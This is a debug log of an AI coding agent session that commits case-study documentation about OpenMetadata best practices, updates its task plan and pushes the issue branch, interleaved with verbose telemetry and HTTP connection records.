[issue-5-e2602184e2c5 4dcfb8e] docs: analyze OpenMetadata best practices\n[2026-07-12T04:07:51.891Z] [INFO]  8 files changed, 765 insertions(+), 1 deletion(-)\n[2026-07-12T04:07:51.891Z] [INFO]  delete mode 100644 .gitkeep\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/README.md\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:07:51.891Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5 [ahead 1]\n[2026-07-12T04:07:51.891Z] [INFO] 4dcfb8e (HEAD -> issue-5-e2602184e2c5) docs: analyze OpenMetadata best practices\n[2026-07-12T04:07:51.891Z] [INFO] e4aaa28 (origin/issue-5-e2602184e2c5) Initial commit with task details\n[2026-07-12T04:07:51.891Z] [INFO] 04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\n[2026-07-12T04:07:51.891Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:51.887Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.891Z] [INFO] 2026-07-12T04:07:51.887228Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a603ba79-43c0-4f07-92df-f82b1093536b duration_ms=186 success=true arguments_length=230 output_length=1036 output_line_count=19 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:51.887Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.891Z] [INFO] \n[2026-07-12T04:07:51.912Z] [INFO] 2026-07-12T04:07:51.910671Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_nwniVhZ5EAUKmGKFAhVedSdc arguments=const r=await tools.exec_command({cmd:\"git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:07:51.912Z] [INFO]  duration_ms=299 success=true output=Script completed\n[2026-07-12T04:07:51.912Z] [INFO] Wall time 0.3 seconds\n[2026-07-12T04:07:51.912Z] [INFO] Output:\n[2026-07-12T04:07:51.912Z] [INFO] \n[2026-07-12T04:07:51.912Z] [INFO] [issue-5-e2602184e2c5 4dcfb8e] docs: analyze OpenMetadata best practices\n[2026-07-12T04:07:51.912Z] [INFO]  8 files changed, 765 insertions(+), 1 deletion(-)\n[2026-07-12T04:07:51.912Z] [INFO]  delete mode 100644 .gitkeep\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/README.md\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:07:51.912Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5 [ahead 1]\n[2026-07-12T04:07:51.912Z] [INFO] 4dcfb8e (HEAD -> issue-5-e2602184e2c5) docs: analyze OpenMetadata best practices\n[2026-07-12T04:07:51.912Z] [INFO] e4aaa28 (origin/issue-5-e2602184e2c5) Initial commit with task details\n[2026-07-12T04:07:51.912Z] [INFO] 04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\n[2026-07-12T04:07:51.912Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:51.910Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.912Z] [INFO] 2026-07-12T04:07:51.910728Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_nwniVhZ5EAUKmGKFAhVedSdc duration_ms=299 success=true arguments_length=280 output_length=980 output_line_count=18 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:51.910Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.912Z] [INFO] 2026-07-12T04:07:51.910961Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_nwniVhZ5EAUKmGKFAhVedSdc tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=299 total_duration_ms=299\n[2026-07-12T04:07:51.912Z] [INFO] \n[2026-07-12T04:07:51.964Z] [INFO] 2026-07-12T04:07:51.963700Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:51.964Z] [INFO] \n[2026-07-12T04:07:52.009Z] [INFO] 2026-07-12T04:07:51.984842Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:51.984Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:52.009Z] [INFO] 2026-07-12T04:07:51.984998Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:51.984Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:52.009Z] [INFO] 2026-07-12T04:07:51.985017Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:52.009Z] [INFO] \n[2026-07-12T04:07:52.020Z] [INFO] 2026-07-12T04:07:51.993946Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:52.020Z] [INFO] \n[2026-07-12T04:07:52.051Z] [INFO] 2026-07-12T04:07:52.050277Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:52.051Z] [INFO] \n[2026-07-12T04:07:52.052Z] [INFO] 2026-07-12T04:07:52.051320Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:52.052Z] [INFO] \n[2026-07-12T04:07:52.064Z] [INFO] 2026-07-12T04:07:52.060929Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:52.064Z] [INFO] \n[2026-07-12T04:07:52.154Z] [INFO] 2026-07-12T04:07:52.153335Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:52.154Z] [INFO] 2026-07-12T04:07:52.153471Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:52 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"5ef05927-597a-4c06-89d9-64f63a4ce82a\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=feHTKFeyAcbp2u9W799WxCDJbB7Oc1sy%2FpsViJ%2BJmYgi8W%2FGZW6FrnJsVgWqDAsU9N6EC5fg%2BukOMuZZ646kbuo%2F5%2BCKDqdq4rYgUE0P4a9bWyxSYFsXupMcULAK\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2ef67f6b74e3-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:52.154Z] [INFO] \n[2026-07-12T04:07:52.972Z] [INFO] 2026-07-12T04:07:52.971513Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a531318f50c819197639eecc8c59e8c\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMYdDLNhSxs3PJXShZVOJnIPkqEsFKD_XFNWzRQwao6otHIX0uCJB7WsVMUl5eiTVaYmsz2Mv9BaI2g-HxwMwL0IdbS5kQiecUG1I5EbhEuN20kWrP-Uh7lbqjAP3wryiCboSJF_Gp7yb2rkmHmoe7qMHJ8eu2tOX1kCjYTti610iaNOdIEKrGHcwLuxpULjQ5cWpqEXpLadlGdT8bBtNJh-y9Kr1goA1DzVx37n6Eqzvt_e8PSBpcgCBLRNA7gYJV29QNuk1GrEhz3M3fyHdMQNdiGBbVgIvYHLBnvRlJCpdv1tSefT0LnG5-Y0EqdRiC1xjgD8VQifbg3jU8Yf1z-zPOfFxLq9Th2yTzpyHLS9asiwmKyHcg8qDdA0KtKyD44l4JrJ6MUTXyhhAWiosajsUgU3K-ynwUvUtWKsRmlSxMqGdcjIG1FH87Nqu2okRDgoyUdn8MIODjncl19rZyS0WHCjmUS8pvn7rz0EJYsau9cEWd4tGygifYp579O43ZVZBcloaGUC10eqq8JQ1MFzz7zhW93YAMQxsQZxYW2T5fnuOs04RcdLrfVnxbyqLKeYq3qU3TgJS6_H6TxYZroEKUDbPsz341eTbLLdP9m69iJhYKqo_7DwwwKD1cH0g-0nLuiIjqChNwvjW7K6L5KU1J5KrZNDTUkxHL-Pwg5p4UkwCnKQJ3_Gyx_w-WnCNm8ePxTdADPX8p_PuNWGrVt-nJw7fojIOADEjDQ9r-ONQfx3n0YQOHNpibScZGO7C6HAHE4-T25C-WVBekNXPPTN338e3aasWJcX0t7V62Tv2HxCIvnjsl306YjM7pS3ck1AGKTluLIr3sPKMy6E6E2Ap6kbT3e-sSBt76vSi_aZ2-GUNzgd9eYSJjRHj2R3mOmvBYZti99AuBCDY4aAcQSaQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:52.972Z] [INFO] \n[2026-07-12T04:07:53.860Z] [INFO] 2026-07-12T04:07:53.860252Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a531318f50c819197639eecc8c59e8c\"), summary: [SummaryText { text: \"**Pushing changes and updating PR details**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMZzfdrrKN67tzIeD3I_5kWcKkG5xwSxDoKoJy0dmCRYAgHVGJgwMOY_0lLG88qLcE7R3D0REQARz3tyy0I_78F4foQLscITDf0Sbkg5Veim7Ycg6DAxqpE2e8e9D45OVRLP7mc_7PH1-1STz0k5EdwjLQ6UOfDKj5eK5B_QAkBdOXNL60vcUS-weQb6nqwbiQWVH6rspyyr6GODVDu8FhpbopxlfZ6o90WhUXR3dWOXXesNQlO8c5lWw9Xt8c43CuZvMjvVhpRia-3ILsaF0qjnDT93vFknNp_wMbIBkeK1KnTo6_QTDyKAb4tFs-X-ne1Z0yl4BQ8c_8tRRXyUb-HpU-PjGU6nYoj1X7tQLS-UDpCZoFzLmmnDjBn-zM0ZGWwa335dBdJSMondQoiO3Tm_wLSQXSazpoYoW5etmO3cR9VW3ofg7geFAouayl-F8tGNEFxQ3fFaNHimBdXz9ax5Ry5w0rdT-oVeUU07yS4xPGNfaV5D_GRZPEJfnnHn1urUBpEBkwVTanXsH4CgqEJ0IiAN3zSK6yb8nAPYtZxgnQJJ6CUnVESICUVePo3Mdw-fRXYp4qEPlp3A9-Rh7rB7YzjpeMxs_TlAMFTClhmZWVgVx8Zm3in14ZiWTz4W1gOHyTQgTNEzHmbQ2F_QCez2nfG93my-XsA2WYByPXDQbDYm1dhumYSdEsmQpdIZPrhmJ0XJc-ip6ZOoHMc8RdEoNn0Y4T9zKTcIJCD_4-cfJ-S06FaG-RjXXy0ZQPqKahFUD_hx369eWtJ9RR0iB1wjiEKUOxTYwZTkioK2quRbTDtOqlkiJvDaJxilM9R5NIQwz5744q_0o4Ypb5g5znwWfkiDnsAWus9cRfoZacBkvlVHh7o_8-5igdQ5K2PH2z9wg3sbw6k1-Sy8FUUdMXAlnvocpJvdQLxTc9o8E5PhNbo0gH8bnBkcjEwO2f-oIth_CnaY8MCtr3CqC9mZq6ZoxMqJ2DHXHu32_2krruxgtxUWhBzsvIuA3UUkPNbbUhL66k-K27iSwFnAZ_D_Dwhjw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:53.860Z] [INFO] \n[2026-07-12T04:07:53.862Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_46\",\"type\":\"reasoning\",\"text\":\"**Pushing changes and updating PR details**\"}}\n[2026-07-12T04:07:53.862Z] [INFO] \n[2026-07-12T04:07:53.862Z] [INFO] 2026-07-12T04:07:53.862080Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a531319cd608191bab163960fba5820\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:53.862Z] [INFO] \n[2026-07-12T04:07:54.988Z] [INFO] 2026-07-12T04:07:54.987377Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a531319cd608191bab163960fba5820\"), role: \"assistant\", content: [OutputText { text: \"All executable checks pass (`fmt`, all-feature tests, doc tests, Clippy, and README ontology coverage). The prescribed `rust-script` executable is unavailable locally, so I independently reproduced its only check and confirmed every Rust file is below 1,000 lines; CI will run the canonical script. The branch already contains the latest `origin/main`, and the reviewed commit is clean.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:54.988Z] [INFO] \n[2026-07-12T04:07:54.992Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_47\",\"type\":\"agent_message\",\"text\":\"All executable checks pass (`fmt`, all-feature tests, doc tests, Clippy, and README ontology coverage). The prescribed `rust-script` executable is unavailable locally, so I independently reproduced its only check and confirmed every Rust file is below 1,000 lines; CI will run the canonical script. The branch already contains the latest `origin/main`, and the reviewed commit is clean.\"}}\n[2026-07-12T04:07:54.992Z] [INFO] \n[2026-07-12T04:07:54.993Z] [INFO] 2026-07-12T04:07:54.988668Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53131af8c48191bb4712f165929bcd\"), status: Some(\"in_progress\"), call_id: \"call_d0QW4zGIn7pSITRxZfSmRTYP\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:54.993Z] [INFO] \n[2026-07-12T04:07:59.937Z] [INFO] 2026-07-12T04:07:59.933084Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const u=await tools.update_plan({explanation:\"The staged diff was reviewed in full and committed. All available local checks pass; the rust-script binary is unavailable, so its file-size logic was independently reproduced and passed. origin/main is already an ancestor of the branch.\",\"plan\":[\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"completed\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"in_progress\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:07:59.937Z] [INFO] ]});\n[2026-07-12T04:07:59.937Z] [INFO] const r=await tools.exec_command({cmd:\"git push origin issue-5-e2602184e2c5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:07:59.937Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:59.937Z] [INFO] \n[2026-07-12T04:07:59.958Z] [INFO] 2026-07-12T04:07:59.947862Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313180a7481919ef0f8de5a790233\"\n[2026-07-12T04:07:59.958Z] [INFO] 2026-07-12T04:07:59.947920Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=75714 output_token_count=380 cached_token_count=74496 reasoning_token_count=20 tool_token_count=76094 ttft_ms=979 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:59.947Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:59.958Z] [INFO] 2026-07-12T04:07:59.947942Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=75714 output_token_count=380 cached_token_count=74496 reasoning_token_count=20 tool_token_count=76094 ttft_ms=979 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:59.947Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:59.958Z] [INFO] \n[2026-07-12T04:08:00.046Z] [INFO] 2026-07-12T04:08:00.045846Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-0b4e40fc-30e9-4a25-af4b-31eddc2b5461 arguments={\"explanation\":\"The staged diff was reviewed in full and committed. All available local checks pass; the rust-script binary is unavailable, so its file-size logic was independently reproduced and passed. origin/main is already an ancestor of the branch.\",\"plan\":[{\"step\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"status\":\"completed\"},{\"step\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"status\":\"completed\"},{\"step\":\"Implement the smallest complete fix and any required release metadata\",\"status\":\"completed\"},{\"step\":\"Run focused tests and full local CI checks; review the complete diff\",\"status\":\"completed\"},{\"step\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"status\":\"in_progress\"},{\"step\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"status\":\"pending\"}]} duration_ms=0 success=true output=Plan updated mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:00.045Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:00.046Z] [INFO] 2026-07-12T04:08:00.045902Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-0b4e40fc-30e9-4a25-af4b-31eddc2b5461 duration_ms=0 success=true arguments_length=910 output_length=12 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:00.045Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:00.046Z] [INFO] \n[2026-07-12T04:08:00.052Z] [INFO] 